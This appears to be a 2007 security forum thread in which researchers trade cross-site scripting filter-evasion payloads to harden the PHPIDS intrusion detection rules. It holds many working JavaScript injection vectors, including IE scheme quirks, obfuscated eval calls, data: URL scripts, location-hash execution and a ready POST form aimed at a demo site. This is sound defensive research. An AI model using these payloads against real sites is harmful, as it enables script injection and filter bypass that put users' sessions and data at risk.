Quoted from:
[groups.google.com]

XSS Vectors:

There are some characteristics in internet explorer that could aid
attackers when doing XSS attacks.

In IExplorer:
??script:
and
???script:
are translated to vbscript:
so, for example:
MYscript:msgbox("hi")
or
YOUscript:msgbox("hi")
will be treated as:
vbscript:msgbox("hi")
and anything with:
????script:
will be treated as:
javascript:
so..
somescript:alert("hi");
will be treated as:
javascript:alert("hi");

It's incredible - the weirdest IE behavior i've heard of in weeks. And yes it works perfectly on full patched IE6 with e.g. this code:

<a onclick='BLAFASELscript:alert(1)' href='#'>TEST</a>

Awesome research!
Greetings,
.mario

---
g:0in~/*for another*/~alert(!!1)
(Å='',[Ç=!(µ=!Å+Å)+{}][Ç[ª=µ[++Å]+µ[Å-Å],È=Å-~Å]+Ç[È+È]+ª])()[Ç[Å]+Ç[Å+Å]+µ[È]+ª](Å)
me || PHPIDS || Twitter || <malicious></markup>

Nice finding :)
If you type somescript:alert(1) in the address bar, IE visibly transforms it into javascript:alert(1) as soon as you hit "enter". The same for dascript: -> vbscript:

@.mario:
your test is not valid, I'll leave you the fun to find out why.

Hint:
<a onclick='klingon:alert(1)' href='#'>TEST</a>

will work in IE, Firefox, Safari, Opera and any other ECMAScript-enabled browser.
This doesn't necessarily mean "they" won ;)

--
*hackademix.net*

There's a browser safer than Firefox... Firefox, with NoScript

Damnit - i hate the IE from very deep in my guts... Nice find too, Giorgio!

---
g:0in~/*for another*/~alert(!!1)
(Å='',[Ç=!(µ=!Å+Å)+{}][Ç[ª=µ[++Å]+µ[Å-Å],È=Å-~Å]+Ç[È+È]+ª])()[Ç[Å]+Ç[Å+Å]+µ[È]+ª](Å)
me || PHPIDS || Twitter || <malicious></markup>

That is right, i've been investigating this behaviour quite some while. I wrote to RSnake another weird thing I never heard of. Probably n00b for some, still I never heard that this was allowed:


<script src="script.jsx">
<script src="script.fubarscriptblaaafublaslackerfudamnlongextensionwhocares">
<script src="script.wooooooooot">

executes everywhere, I don't understand why they allow this. It's the filters horror!

I found it out while I found: .JSX
which is Adobe Extended Javascript used in Adobe reader and Photoshop.
Also .JSA which is Javascript Asembly, used by .JSX

Well the problem is - it doesn't make sense to filter \w+: because it would rain false positives and i would have to give that rule very low impact. \w+script: is already included in current rules - what do you think? I guess it's okay if the IDS concentrates on the code afterwards.

---
g:0in~/*for another*/~alert(!!1)
(Å='',[Ç=!(µ=!Å+Å)+{}][Ç[ª=µ[++Å]+µ[Å-Å],È=Å-~Å]+Ç[È+È]+ª])()[Ç[Å]+Ç[Å+Å]+µ[È]+ª](Å)
me || PHPIDS || Twitter || <malicious></markup>

@mario:
my klingon: joke was just pointing out that inside an event handler you don't need to specify any scheme (neither javascript: nor vbscript:), because the attribute isn't expected to be an URL but just raw script code.

In JavaScript, any non-reserved-keyword identifier sequence followed by colons (\w+:) is parsed as a label.
For instance,

javascript: while(true) {
 while(true) {
  alert(1);
  break javascript;
 }
  alert(2); // this statement is never reached
}
alert(3);

outputs 1 and 3.
That's why onclick="javascript:someCode()" doesn't produce any error, even if it's plain useless and should be written just onclick="someCode()".

On the other hand, you still need to filter \w+script: as a potential XSS vector, because it's likely to be used as a proper URL, for instance in an iframe, a meta refresh or a Flash GetURL().

An example of attack which is conveniently detectable only if you're triggered by "javascript:" is [sla.ckers.org]

@ronald:
I'm not sure, what security advantage would I gain if src attribute was limited to a certain file extension (aside breaking many applications which dynamically generate included scripts and which don't/can't use URL rewriting, e.g. those relying on Struts validators)?
Once someone manages to (over)write a script tag, I'm pwned anyway, ain't I?

Also notice that the file extension doesn't mean that much over HTTP, where the MIME type is inferred looking at the "Content-Type" header.
So your examples are unlikely to work as they are, unless you've configured your web server to attach "Content-Type: text/javascript" to every random file or you're testing locally.

However, if you were impressed by those snippets, I bet you'll go crazy for the following:

<script type="text/javascript" src="data:text/javascript,alert(document.location)"></script>

It works with Opera and with Firefox (without NoScript - otherwise, it will be blocked even on trusted sites). IE7 doesn't support data: URLs.

--
*hackademix.net*

There's a browser safer than Firefox... Firefox, with NoScript

@ma1: Yep - this case is covered by the current rules.

See: [demo.php-ids.org]

Quote:

In JavaScript, any non-reserved-keyword identifier sequence followed by colons (\w+:) is parsed as a label.

I didn't know that - thx!

I knew that you can trigger execution by just creating a link like this: <a href="#" onclick="alert('hello')">Test</a> but I didn't know that even alphanumerical signs don't stress the parser - see above...

Greetings,
.mario

---
g:0in~/*for another*/~alert(!!1)
(Å='',[Ç=!(µ=!Å+Å)+{}][Ç[ª=µ[++Å]+µ[Å-Å],È=Å-~Å]+Ç[È+È]+ª])()[Ç[Å]+Ç[Å+Å]+µ[È]+ª](Å)
me || PHPIDS || Twitter || <malicious></markup>

Well - just to add some spice to the topic - those ones all work too on Firefox 2.0.0.4. Algebra - ok, but the unclosed comments - sweet! Guess there are more but I'm currently too tired to try...

eval('alxrt("good nite")'.replace('x','e')) and sweet JS dreams ;)

1&alert(1)
1|alert(1)
1+1-1*1/1%1>>alert(1)
1*alert(1)
1/alert(1)
1>>alert(1)
1+-alert(1)
1==alert(1)
1>=alert(1)
~alert(1)
+alert(1)
!alert(1)
/*;alert(1)
/**/;alert(1)
//:alert(1)
;alert(1)
_:alert(1)

---
g:0in~/*for another*/~alert(!!1)
(Å='',[Ç=!(µ=!Å+Å)+{}][Ç[ª=µ[++Å]+µ[Å-Å],È=Å-~Å]+Ç[È+È]+ª])()[Ç[Å]+Ç[Å+Å]+µ[È]+ª](Å)
me || PHPIDS || Twitter || <malicious></markup>



Edited 2 time(s). Last edit at 07/02/2007 05:11PM by .mario.

I would like to add something.

when you filter the functions "eval()", they are not really filtered, because, you can access them like this:

window["eval"](--code-here--);

any way, if the [""] is filtered, you can use:

window[eval.toString.match(/eval/)[0]](code-here)

the use of window[function-name] works for every function..

Also you cant filter "window[" because, eval exists also in:

any_function().eval()

so I could use:

unescape["eval"](--code--)
open["eval"](--code--)

Greetz!!

.mario Wrote:
-------------------------------------------------------
> ok, but the unclosed comments - sweet!
> /*;alert(1)

Does this one really work? how?

@sirdakat:
I perfectly agree, there's no point in static keyword blacklists, especially if you're trying to "sanitize" an extremely dynamic language like JavaScript.

That's why I'm brutal (character-level whitelist) on requests crossing the trust boundaries, and perform some quick recursive JS syntax check at insertion points using SpiderMonkey itself for all the other cross-site requests...

--
*hackademix.net*

There's a browser safer than Firefox... Firefox, with NoScript

@mal:
the use of spidermonkey for validating is clever, you could trap when some properties like document.cookie, location, etc.. are accessed.

I sent today another mail to the php-ids group about the use of with:
with(document)location.href=cookie

the use of spidermonkey could stop any kind of way of accessing the properties.


<off topic>
I found today a filter that validates that the input is a valid url if it has: "://", in javascript, this would "comment-out" everything after the "//", anyway, there is the possibility to use:

javascript://anything%0d%0a--code-here--

this could be useful for anyone that finds another filter similar to this.
</off topic>

Greetz!!

sirdarckcat Wrote:
-------------------------------------------------------
> I would like to add something.
>
> when you filter the functions "eval()", they are
> not really filtered, because, you can access them
> like this:
>
> window["eval"](--code-here--);
>
> any way, if the [""] is filtered, you can use:
>
> window](code-here)
>
> the use of window works for every function..
>
> Also you cant filter "window[" because, eval
> exists also in:
>
> any_function().eval()
>
> so I could use:
>
> unescape["eval"](--code--)
> open["eval"](--code--)
>
> Greetz!!


You don't even have to use the eval method, you can do something like:

var a = new Function("alert(1)");
a();

Or create a script element, and set the .text property of it, before attaching it to the DOM, and the .text script will be executed.

@ma1: This and all the others work in the JS console of firebug - so anywhere between script tags and combined with event handlers.

@all: I guess problem with Spidermonkey is first how to embed the engine in a PHP application and second the performance - I was thinking about a PHPJS parser engine too and there are already some approaches like this:

[phpjs.berlios.de]

But those solutions aren't very mature plus you can't of courser acccess the browser and DOM objects - so it's pretty useless.

I still trust in the usage of regular expressions to detect JavaScript injections and I still see the pattern - whether if it's foo(bar), foo["bar"], foo().bar(), foo] or new Function foo("bar") - thing is one has to detect the function names combined with the matching special chars and delimiters. This should (almost) always lead to a successful match. I will customize the PHPIDS rules asap and hope that I didn't brag - if yes shame on me ;)

Anyway - I love this thread. It has changed my very view on JS in 24hrs...

Greetings!
.mario

---
g:0in~/*for another*/~alert(!!1)
(Å='',[Ç=!(µ=!Å+Å)+{}][Ç[ª=µ[++Å]+µ[Å-Å],È=Å-~Å]+Ç[È+È]+ª])()[Ç[Å]+Ç[Å+Å]+µ[È]+ª](Å)
me || PHPIDS || Twitter || <malicious></markup>

I agree but not in particular Javascript, but for me how browsers handle c.q. parse it. This has always been a mystery to me why they allow sloppy coding. MSIE is king in allowing this for ages, Mozilla was way more stricter but even they bend a few rules lately.

I thought last year someone on the board said that a lot of stuff can be prevented with validation HTML, Don't know who it was, I thought Edward Z Yang. Anyway, that's kinda true in some sense, not recommended in coding, but in browsers themselfs. That is why I love XHTML and XML, mainly for their strictness.

Hi!

@kuza55, I know about the use of Function(code)(), it was included in the original thread send to PHP-IDS google group: [groups.google.com]

I am trying to find another way of doing evals :P, my newest try is the following:
for each(screw in window)try{screw(code)}catch(rock_and_roll){1}

If you put in your address bar:

javascript:code="alert(123);";for each(screw in window)try{screw(code)}catch(rock_and_roll){1}

you will see that after a lot of useless prompts and alerts, the code will be executed.. I think in IExplorer I can access the properties by their order, but I'm still investigating.

Greetz!!

@sirdarckcat:
this thread is getting really big fun :)

1. a slight twist on my own "classic":
http://somesite.com?';with(location)replace(hash['sub'+'str'](1))//#javascript:alert("xss")

2. a silly eval evasion (could be fuzzied ad nauseam):
top['ev'["con"+"cat"]('al')](payload);

3. a variation on your last theme which does work on Firefox and doesn't throw exceptions (Firefox doesn't seems to enumerate eval among window properties):
payload="javascript:alert(123)"; t=top;for(p in t)/^o.*n$/.test(p)&&(p=t[p])&&p(payload)

@.mario:
BTW, I don't manage to run this in Firebug either:
/*;alert(1)

It throws "unterminated comment" (as expected).
Is it just me?

--
*hackademix.net*

There's a browser safer than Firefox... Firefox, with NoScript

[demo.php-ids.org]

--
*hackademix.net*

There's a browser safer than Firefox... Firefox, with NoScript



Edited 1 time(s). Last edit at 07/03/2007 04:22PM by ma1.

@ma1: Sorry - my mistake. I had this one together with some others in the firebug console and considered it working. But it doesn't. Shame on me.

Watching the latest examples it makes sense to not only add JS string, object and array functions to the detection rules but also language constructs for loops, conditions etc. oh my...

BTW - just updated the filter rules again - tomorrow I'll optimize the rules for readability and performance so please mercy with me when something will not be detected immediately ;)

Greetings,
.mario

---
g:0in~/*for another*/~alert(!!1)
(Å='',[Ç=!(µ=!Å+Å)+{}][Ç[ª=µ[++Å]+µ[Å-Å],È=Å-~Å]+Ç[È+È]+ª])()[Ç[Å]+Ç[Å+Å]+µ[È]+ª](Å)
me || PHPIDS || Twitter || <malicious></markup>

@mal
--> top['ev'["con"+"cat"]('al')](payload);
xD very clever :P

the use of "||" is also very interesting..

I've found another way of doing evals :D

/x/.constructor.constructor(code)()

well.. also

123["e"[0]+"v"[0]+"a"[0]+"l"[0]](code)

I've discovered that the numbers also have the "eval" property.. I don't know why eval is everywhere xD

@mario:
It would be interesting if you add to the smoke test:

for testing the javascript filtering rules :P
<script>
$_GET['test'];
</script>

Greetz!!

PS. I've started playing with the SQL injection rules.. so far not so good..
UNION SELECT
0+
1,2,3,4

Greetz!!

I've said a couple of times that every instance of the chars below should be detected, possibly blocked because they are always illegal in a request uri query (?) part:

URI = scheme ":" hier-part [ "?" query ] [ "#" fragment ]

=
>
<
"
`
(
)
'
;
+
$
,
[
]

Since they never (should) happen in a proper query because it breaks everything.

Ronald:

The following chars are in deed, used commonly in legal requests:

[
]
+
=

(+ means space, = is used for GET fields, [] is used for multiple choices in a <form><input type=checkbox>)

:)
Greetz!!

@Ronald: Jep - but what about POST?

---
g:0in~/*for another*/~alert(!!1)
(Å='',[Ç=!(µ=!Å+Å)+{}][Ç[ª=µ[++Å]+µ[Å-Å],È=Å-~Å]+Ç[È+È]+ª])()[Ç[Å]+Ç[Å+Å]+µ[È]+ª](Å)
me || PHPIDS || Twitter || <malicious></markup>

@sirdarckcat: done - good hint!

@ma1 & sirdarckcat: thanks a lot again - both patterns are now detected with at least impact of 9.

I've added onclick handlers to the three links and a possibility to inject between script tags.

Greetings,
.mario

---
g:0in~/*for another*/~alert(!!1)
(Å='',[Ç=!(µ=!Å+Å)+{}][Ç[ª=µ[++Å]+µ[Å-Å],È=Å-~Å]+Ç[È+È]+ª])()[Ç[Å]+Ç[Å+Å]+µ[È]+ª](Å)
me || PHPIDS || Twitter || <malicious></markup>



Edited 1 time(s). Last edit at 07/04/2007 11:48AM by .mario.

> @ma1 & sirdarckcat: thanks a lot again - both
> patterns are now detected with at least impact of
> 9.

My pleasure,and please accept
another little present :)

[EDIT]
Looks like you've just added a filter on hash-based payloads:
slight variation.
BTW, very strange outputs on your side 8o

[EDIT 2]
Oops, the first URL still passes happily, probably the hash thing has been detected because of a randomly wrong URL encoding in one of my tests ;)

--
*hackademix.net*

There's a browser safer than Firefox... Firefox, with NoScript



Edited 3 time(s). Last edit at 07/04/2007 04:13PM by ma1.

Both fixed - I am not yet happy with the solution but for now it works fine.

Thanks and Greetings,
.mario

---
g:0in~/*for another*/~alert(!!1)
(Å='',[Ç=!(µ=!Å+Å)+{}][Ç[ª=µ[++Å]+µ[Å-Å],È=Å-~Å]+Ç[È+È]+ª])()[Ç[Å]+Ç[Å+Å]+µ[È]+ª](Å)
me || PHPIDS || Twitter || <malicious></markup>

Night shift :)

--
*hackademix.net*

There's a browser safer than Firefox... Firefox, with NoScript

@.mario: for stopping the vectors of mal, I think you should detect:

||
[+-*/|\^&].*=

I think, that the IDS should return 4 impact points per each appearance..

@all:
I've realized that a complete url is a valid javascript expression, for example:

http:// www.google.com/search?q=HELLO+WORLD#<<-- hash! | code! -->%0d%0aalert(123);

that is a valid JavaScript expression, and will execute: alert(123);, try it out.

So we dont need anymore the ".substr", we can just do:
eval(location) :)

Try this:

b=
'docume'+
'nt.locat'+
'ion.hre'+
'f'
;d=
'eva'+
'l';c=(4^0+9*7-1&5/3)[d];c(c(b));

the new lines help to avoid detection :D.
for exploiting it, we need a form like this:

<form method=POST action="http://demo.php-ids.org/#%0d%0aalert('XSS');">
<textarea name=test>
b=
'docume'+
'nt.locat'+
'ion.hre'+
'f'
;d=
'eva'+
'l';c=(4^0+9*7-1&5/3)[d];c(c(b));
</textarea>
<input type=submit>
</form>

Or by using mal's approach (with the pipes ||), but in this case we need to use unescape:

[demo.php-ids.org];

Greetz!!



Edited 3 time(s). Last edit at 07/04/2007 10:24PM by sirdarckcat.

Wow!

@Mario, please also add .call and .apply method to the rules.

There are also very simple vectors and you don't have to be so cryptic.

POC Text Area:
a=alert
eval.call(this, a(123))

But @all, this thread and things related to PHPIDS in general is turning out to be a great source of knowledge.

Is this the right time to merge/replace smoke-test with XSS in eXceSS (Another shameless promotion ;) )

Web Application Security Journ(ey)al

kishord:

Hi!

Nice! I thought that the a=alert would be filtered, but it seems that if you don't put the semicolon, then it's not detected by the filter, any way, you don't need to use call, or apply, you can do:

a=alert
a(123)

and the call and apply gives this new vector:

[demo.php-ids.org];

:D

Greetz!!



Edited 3 time(s). Last edit at 07/05/2007 12:56AM by sirdarckcat.